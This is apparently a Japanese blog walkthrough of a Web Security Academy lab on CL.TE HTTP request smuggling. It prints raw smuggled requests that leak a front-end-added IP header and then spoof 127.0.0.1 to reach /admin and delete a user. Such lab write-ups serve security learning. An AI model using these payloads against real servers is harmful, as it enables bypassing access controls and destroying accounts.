Shikata Ga Nai

Private? There is no such things.

Exploiting HTTP request smuggling to reveal front-end request rewritingをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストの密輸を悪用して、フロントエンドリクエストの書き換えを。

 

このラボにはフロントエンドサーバとバックエンドサーバが含まれ。

フロントエンドサーバはチャンクエンコーディングをサポートしていなくて。

管理パネルにアクセスできるのはIPアドレス127.0.0.1のユーザのみで。

フロントエンドサーは、着信リクエストにHTTPヘッダーを追加して。

X-Forwarded-Forヘッダに似ているものの名前が異なって。

 

フロントエンドサーバは、チャンクエンコーディングをサポートしていないので。

CL-TEシーンで。

 

一部のネットワーク環境では。

フロントエンドプロキシサーバは、要求を受信した後に。

要求をバックエンドサーバに直接転送しなくて。

代わりに、いくつかの必要なフィールドを追加してから。

それをバックエンドサーバに転送して。

 

まずは、リクエストパラメータの値をレスポンスに出力できる。

POSTリクエストを見つけることからはじめて。

ページの上部の検索機能が、その要件を満たしていて。

 

f:id:ThisIsOne:20210513191248p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210513191313p:plain

 

検索結果が直接エコーされていることが確認できて。

 

f:id:ThisIsOne:20210513191349p:plain

 

数回のリクエストの後。

フロントエンドサーバで追加されたリクエストヘッダが取得できて。

検索結果で、フロントサーバから転送されたリクエストヘッダを確認できて。

 

POST / HTTP/1.1
Host: aca01f3d1ea525f380c3207100d30057.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

 

0

 

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

 

search=test

 

下記のリクエストヘッダが確認できて。

 X-ExGddX-Ip: 133.155.222.106

 

f:id:ThisIsOne:20210513191523p:plain

 

f:id:ThisIsOne:20210513191631p:plain

 

寄り道をして、X-*-Ipリクエストヘッダのみを追加すると。

バックエンドが2つの重複するリクエストヘッダを受信するので。

管理パネルにアクセスできなくなって。

どうもバックエンドサーバが重複するリクエストヘッダを判断しているようで。

よって、フロントサーバで追加されたリクエストヘッダを。

非表示にする必要があって。

Smugglingを使用して他のフロントサーバによって。

追加されたリクエストヘッダを非表示にすると、管理パネルを取得できて。

 

f:id:ThisIsOne:20210514150856p:plain

 

Content-Lengthは10で、以降のデータの長さは十分ではなくて。

よって、密輸要求を受信すると。

バックエンドサーバは要求がまだ送信されていないとみなし、送信を待機し続けて。

 

次に、同じデータパケットを送信し続けると。

バックエンドサーバは、フロントエンドプロキシサーバが処理した要求を受信して。

受信したデータの全長が10に達すると。

バックエンドサーバはリクエストが送信されたと見なして続行して。

 

このように後続の要求の一部が密輸された要求のパラメータの一部として取得されて。

フロントエンドサーバによってフィールドが書き換えられるようになるので。

このフィールドを密輸されたリクエストに追加して。

リクエストを密輸してユーザを削除することに。

 

POST / HTTP/1.1
Host: aca01f3d1ea525f380c3207100d30057.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

 

0

 

GET /admin HTTP/1.1
X-ExGddX-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

 

x=1

 

f:id:ThisIsOne:20210513191907p:plain

 

f:id:ThisIsOne:20210513191927p:plain

 

リクエストに下記の変更を加えて。

 

 Content-Length: 166

  GET /admin/delete?username=carlos

 

f:id:ThisIsOne:20210513192157p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210513192125p:plain

 

Best regards, (^^ゞ